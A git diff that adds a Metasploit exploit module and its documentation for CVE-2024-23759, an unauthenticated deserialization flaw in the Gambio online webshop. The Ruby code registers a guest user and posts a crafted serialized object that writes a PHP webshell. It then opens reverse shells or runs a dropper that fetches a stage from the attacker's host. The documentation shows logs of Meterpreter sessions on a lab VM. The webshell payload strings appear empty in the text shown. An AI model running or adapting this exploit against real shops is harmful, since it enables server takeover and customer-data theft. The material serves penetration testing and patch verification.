diff --git a/documentation/modules/exploit/multi/http/gambio_unauth_rce_cve_2024_23759.md b/documentation/modules/exploit/multi/http/gambio_unauth_rce_cve_2024_23759.md new file mode 100644 index 000000000000..f8f3a182cb3d --- /dev/null +++ b/documentation/modules/exploit/multi/http/gambio_unauth_rce_cve_2024_23759.md @@ -0,0 +1,231 @@ +## Vulnerable Application + +A Remote Code Execution vulnerability in Gambio online webshop version `4.9.2.0` and lower allows remote attackers +to run arbitrary commands via unauthenticated HTTP POST requests. Gambio version 3 is not vulnerable. +The identified vulnerability within Gambio pertains to an insecure deserialization flaw, +which ultimately allows an attacker to execute remote code on affected systems. + +The insecure deserialization vulnerability in Gambio poses a significant risk to affected systems. +As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands, +potentially resulting in complete system compromise, data exfiltration, or unauthorized access to sensitive information. + +This module has been tested with: +* Gambio online webshop `4.7.2.0` on Ubuntu `22.04` running in VirtualBox `7.0.14 r161095 (Qt5.15.2)`. + +## Installation steps to install the Gambio Online Webshop +* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform. +* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/). +* Download the Gambio Webshop software from [here](https://www.dmsolutions.de/gambio-download.html). +* Unzip the package `Gambio v4.7.2.0.zip` and install the Gambio Online Webshop on your Linux Virtual Machine +* using the installation instructions provided in the ZIP file. Do not use a Windows VM (see Limitations section). +* When installed, you should be able to access the Webshop either thru `HTTP` port 80 or `HTTPS` port 443 +* depending on your configuration settings. + +You are now ready to test the module. + +## Verification Steps +- [ ] Start `msfconsole` +- [ ] `use exploit/multi/http/gambio_unauth_rce_cve_2024_23759` +- [ ] `set rhosts ` +- [ ] `set rport ` +- [ ] `set target <0=PHP, 1=Unix Command, 2=Linux Dropper>` +- [ ] `exploit` +- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings + + +## Options + +### WEBSHELL +You can use this option to set the filename without extension of the webshell. +This is handy if you want to test the webshell upload and execution with different file names. +to bypass any security settings on the Web and PHP server. + +### COMMAND +This option provides the user to choose the PHP underlying shell command function to be used for execution. +The choices are `system()`, `passthru()`, `shell_exec()` and `exec()` and it defaults to `passthru()`. +This option is only available when the target selected is either Unix Command or Linux Dropper. +For the native PHP target, by default the `eval()` function will be used for native PHP code execution. + +## Scenarios +```msf +msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > info + + Name: Gambio Online Webshop unauthenticated PHP Deserialization Vulnerability + Module: exploit/multi/http/gambio_unauth_rce_cve_2024_23759 + Platform: PHP, Unix, Linux + Arch: php, cmd, x64, x86 + Privileged: No + License: Metasploit Framework License (BSD) + Rank: Excellent + Disclosed: 2024-01-19 + +Provided by: + h00die-gr3y + usd Herolab + +Module side effects: + ioc-in-logs + artifacts-on-disk + +Module stability: + crash-safe + +Module reliability: + repeatable-session + +Available targets: + Id Name + -- ---- + => 0 PHP + 1 Unix Command + 2 Linux Dropper + +Check supported: + Yes + +Basic options: + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.201.25 yes The target host(s), see https://docs.metasploit.com/docs/using-metasplo + it/basics/using-metasploit.html + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + TARGETURI / yes The Gambia Webshop endpoint URL + URIPATH no The URI to use for this exploit (default is random) + VHOST no HTTP server virtual host + WEBSHELL no Set webshell name without extension. Name will be randomly generated if + left unset. + + + When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address + on the local machine or 0.0.0.0 to listen on all addresses. + SRVPORT 8080 yes The local port to listen on. + + + When TARGET is not 0: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + COMMAND passthru yes Use PHP command function (Accepted: passthru, shell_exec, system, exec) + +Payload information: + +Description: + A Remote Code Execution vulnerability in Gambio online webshop version 4.9.2.0 and lower + allows remote attackers to run arbitrary commands via unauthenticated HTTP POST request. + The identified vulnerability within Gambio pertains to an insecure deserialization flaw, + which ultimately allows an attacker to execute remote code on affected systems. + The insecure deserialization vulnerability in Gambio poses a significant risk to affected systems. + As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands, + potentially resulting in complete system compromise, data exfiltration, or unauthorized access + to sensitive information. + +References: + https://nvd.nist.gov/vuln/detail/CVE-2024-23759 + https://attackerkb.com/topics/cxCsICfcDY/cve-2024-23759 + https://herolab.usd.de/en/security-advisories/usd-2023-0046/ + + +View the full module info with the info -d command. +``` + +### Target 0 - PHP native `php/meterpreter/reverse_tcp` session +```msf +msf6 > use exploits/multi/http/gambio_unauth_rce_cve_2024_23759 +[*] Using configured payload php/meterpreter/reverse_tcp +msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > set rhosts 192.168.201.25 +rhosts => 192.168.201.25 +msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > set ssl false +[!] Changing the SSL option's value may require changing RPORT! +ssl => false +msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > set rport 80 +rport => 80 +msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > set lhost 192.168.201.8 +lhost => 192.168.201.8 +msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > exploit + +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking if 192.168.201.25:80 can be exploited. +[+] The target appears to be vulnerable. It looks like Gambio Webshop is running. +[*] Executing PHP for php/meterpreter/reverse_tcp +[*] Sending stage (39927 bytes) to 192.168.201.25 +[+] Deleted GmacadJjQQOXMux.php +[*] Meterpreter session 1 opened (192.168.201.8:4444 -> 192.168.201.25:60348) at 2024-03-24 09:15:50 +0000 + +meterpreter > sysinfo +Computer : cuckoo +OS : Linux cuckoo 5.15.0-101-generic #111-Ubuntu SMP Tue Mar 5 20:16:58 UTC 2024 x86_64 +Meterpreter : php/linux +meterpreter > getuid +Server username: www-data +meterpreter > pwd +/var/www +meterpreter > exit +``` + +### Target 1 - Unix Command `cmd/unix/reverse_bash` session +```msf +msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > set target 1 +target => 1 +msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > exploit + +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking if 192.168.201.25:80 can be exploited. +[+] The target appears to be vulnerable. It looks like Gambio Webshop is running. +[*] Executing Unix Command for cmd/unix/reverse_bash +[+] Deleted UJoQmnhL.php +[*] Command shell session 2 opened (192.168.201.8:4444 -> 192.168.201.25:50728) at 2024-03-24 09:17:46 +0000 + +uname -a +Linux cuckoo 5.15.0-101-generic #111-Ubuntu SMP Tue Mar 5 20:16:58 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux +id +uid=33(www-data) gid=33(www-data) groups=33(www-data),29(audio) +exit +``` + +### Target 2 - Linux Dropper `linux/x64/meterpreter/reverse_tcp` session +```msf +msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > set target 2 +target => 2 +msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > exploit + +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking if 192.168.201.25:80 can be exploited. +[+] The target appears to be vulnerable. It looks like Gambio Webshop is running. +[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp +[*] Using URL: http://192.168.201.8:8080/ODk0gcrj +[*] Client 192.168.201.25 (Wget/1.21.2) requested /ODk0gcrj +[*] Sending payload to 192.168.201.25 (Wget/1.21.2) +[*] Sending stage (3045380 bytes) to 192.168.201.25 +[+] Deleted gJlhCqCPLrR.php +[*] Meterpreter session 3 opened (192.168.201.8:4444 -> 192.168.201.25:46426) at 2024-03-24 09:18:23 +0000 +[*] Command Stager progress - 100.00% done (114/114 bytes) +[*] Server stopped. + +meterpreter > sysinfo +Computer : 192.168.201.25 +OS : Ubuntu 22.04 (Linux 5.15.0-101-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > getuid +Server username: www-data +meterpreter > pwd +/var/www +meterpreter > exit +``` + +## Limitations +Gambio is also supported on Windows systems, however the admin access seems to be broken on the vulnerable versions. +This causes the exploit not to run successfully. +Another dependency is that one or more tax countries should be defined in the configuration of the application, otherwise +guest users can not be created causing the exploit to fail. The default setup of the application has at least one tax country defined. diff --git a/modules/exploits/multi/http/gambio_unauth_rce_cve_2024_23759.rb b/modules/exploits/multi/http/gambio_unauth_rce_cve_2024_23759.rb new file mode 100644 index 000000000000..e2e75a6b9a48 --- /dev/null +++ b/modules/exploits/multi/http/gambio_unauth_rce_cve_2024_23759.rb @@ -0,0 +1,241 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Gambio Online Webshop unauthenticated PHP Deserialization Vulnerability', + 'Description' => %q{ + A Remote Code Execution vulnerability in Gambio online webshop version 4.9.2.0 and lower + allows remote attackers to run arbitrary commands via unauthenticated HTTP POST request. + The identified vulnerability within Gambio pertains to an insecure deserialization flaw, + which ultimately allows an attacker to execute remote code on affected systems. + The insecure deserialization vulnerability in Gambio poses a significant risk to affected systems. + As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands, + potentially resulting in complete system compromise, data exfiltration, or unauthorized access + to sensitive information. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die-gr3y ', # MSF module contributor + 'usd Herolab' # Discovery of the vulnerability + ], + 'References' => [ + ['CVE', '2024-23759'], + ['URL', 'https://attackerkb.com/topics/cxCsICfcDY/cve-2024-23759'], + ['URL', 'https://herolab.usd.de/en/security-advisories/usd-2023-0046/'] + ], + 'DisclosureDate' => '2024-01-19', + 'Platform' => ['php', 'unix', 'linux'], + 'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X64, ARCH_X86], + 'Privileged' => false, + 'Targets' => [ + [ + 'PHP', + { + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Type' => :php + } + ], + [ + 'Unix Command', + { + 'Platform' => ['unix', 'linux'], + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd + } + ], + [ + 'Linux Dropper', + { + 'Platform' => ['linux'], + 'Arch' => [ARCH_X64, ARCH_X86], + 'Type' => :linux_dropper, + 'CmdStagerFlavor' => ['wget', 'curl', 'bourne', 'printf', 'echo'], + 'Linemax' => 16384 + } + ], + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'SSL' => true, + 'RPORT' => 443 + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + register_options([ + OptString.new('TARGETURI', [ true, 'The Gambia Webshop endpoint URL', '/' ]), + OptString.new('WEBSHELL', [false, 'Set webshell name without extension. Name will be randomly generated if left unset.', nil]), + OptEnum.new('COMMAND', + [true, 'Use PHP command function', 'passthru', %w[passthru shell_exec system exec]], conditions: %w[TARGET != 0]) + ]) + end + + def execute_php(cmd, _opts = {}) + payload = Base64.strict_encode64(cmd) + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, @webshell_name), + 'vars_post' => { + @post_param => payload + } + }) + end + + def execute_command(cmd, _opts = {}) + payload = Base64.strict_encode64(cmd) + php_cmd_function = datastore['COMMAND'] + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, @webshell_name), + 'vars_get' => { + @get_param => php_cmd_function + }, + 'vars_post' => { + @post_param => payload + } + }) + end + + def upload_webshell + # randomize file name if option WEBSHELL is not set + @webshell_name = (datastore['WEBSHELL'].blank? ? "#{Rex::Text.rand_text_alpha(8..16)}.php" : "#{datastore['WEBSHELL']}.php") + + # randomize e-mail address, firstname and lastname to be used in payload and POST requests + email = Rex::Text.rand_mail_address + email_array = email.split('@') + domain = email_array[1] + firstname = email_array[0].split('.')[0] + lastname = email_array[0].split('.')[1] + hostname = Rex::Text.rand_hostname + + # Upload webshell with PHP payload + @post_param = Rex::Text.rand_text_alphanumeric(1..8) + @get_param = Rex::Text.rand_text_alphanumeric(1..8) + + if target['Type'] == :php + php_payload = "" + else + php_payload = "" + end + + php_payload_len = php_payload.length + webshell_name_len = @webshell_name.length + domain_len = domain.length + hostname_len = hostname.length + final_payload = "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:36:\"\x00GuzzleHttp\\Cookie\\CookieJar\x00cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\x00GuzzleHttp\\Cookie\\SetCookie\x00data\";a:9:{s:7:\"Expires\";i:1;s:7:\"Discard\";b:0;s:5:\"Value\";s:#{php_payload_len}:\"#{php_payload}\";s:4:\"Path\";s:1:\"/\";s:4:\"Name\";s:#{hostname_len}:\"#{hostname}\";s:6:\"Domain\";s:#{domain_len}:\"#{domain}\";s:6:\"Secure\";b:0;s:8:\"Httponly\";b:0;s:7:\"Max-Age\";i:3;}}}s:39:\"\x00GuzzleHttp\\Cookie\\CookieJar\x00strictMode\";N;s:41:\"\x00GuzzleHttp\\Cookie\\FileCookieJar\x00filename\";s:#{webshell_name_len}:\"#{@webshell_name}\";s:52:\"\x00GuzzleHttp\\Cookie\\FileCookieJar\x00storeSessionCookies\";b:1;}" + final_payload_b64 = Base64.strict_encode64(final_payload) + + # create guest user to get a valid session cookie + # country variable should match with a configured tax country in the gambio admin panel + # grab the available tax country code settings from the CreateGuest form page + res = send_request_cgi!({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'shop.php?do=CreateGuest') + }) + if res && res.code == 200 + html = res.get_html_document + unless html.blank? + country_tax_options = html.css('select[@id="country"]') + country_tax_options.css('option').each do |country| + vprint_status("Application's tax country code setting required for exploitation: #{country['value']}") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'shop.php?do=CreateGuest/Proceed'), + 'keep_cookies' => true, + 'vars_post' => { + 'firstname' => firstname, + 'lastname' => lastname, + 'email_address' => email, + 'email_address_confirm' => email, + 'b2b_status' => 0, + 'company' => nil, + 'vat' => nil, + 'street_address' => Rex::Text.rand_text_alpha_lower(8..12), + 'postcode' => Rex::Text.rand_text_numeric(5), + 'city' => Rex::Text.rand_text_alpha_lower(4..12), + 'country' => country['value'], + 'telephone' => Rex::Text.rand_text_numeric(10), + 'fax' => nil, + 'action' => 'process' + } + }) + next unless res && res.code == 302 + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'shop.php?do=Parcelshopfinder/AddAddressBookEntry'), + 'keep_cookies' => true, + 'vars_post' => { + 'checkout_started' => 0, + 'search' => final_payload_b64, + 'street_address' => Rex::Text.rand_text_alpha_lower(4..12), + 'house_number' => Rex::Text.rand_text_numeric(1..2), + 'additional_info' => nil, + 'postcode' => Rex::Text.rand_text_numeric(5), + 'city' => Rex::Text.rand_text_alpha_lower(8..12), + 'country' => 'DE', + 'firstname' => firstname, + 'lastname' => lastname, + 'postnumber' => Rex::Text.rand_text_numeric(6), + 'psf_name' => Rex::Text.rand_text_alpha_lower(1..3) + } + }) + break + end + end + end + res + end + + def check + print_status("Checking if #{peer} can be exploited.") + res = send_request_cgi!({ + 'method' => 'GET', + 'ctype' => 'application/x-www-form-urlencoded', + 'uri' => normalize_uri(target_uri.path) + }) + return CheckCode::Unknown('No valid response received from target.') unless res && res.code == 200 + + # Check if target is running a Gambio webshop + # Search for "Gambio" on the login page + return CheckCode::Safe unless res.body.include?('gambio') + + CheckCode::Detected('It looks like Gambio Webshop is running.') + end + + def exploit + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + res = upload_webshell + fail_with(Failure::PayloadFailed, 'Web shell upload error.') unless res && res.code == 500 + register_file_for_cleanup(@webshell_name) + + case target['Type'] + when :php + execute_php(payload.encoded) + when :unix_cmd + execute_command(payload.encoded) + when :linux_dropper + # Don't check the response here since the server won't respond + # if the payload is successfully executed. + execute_cmdstager({ linemax: target.opts['Linemax'] }) + end + end +end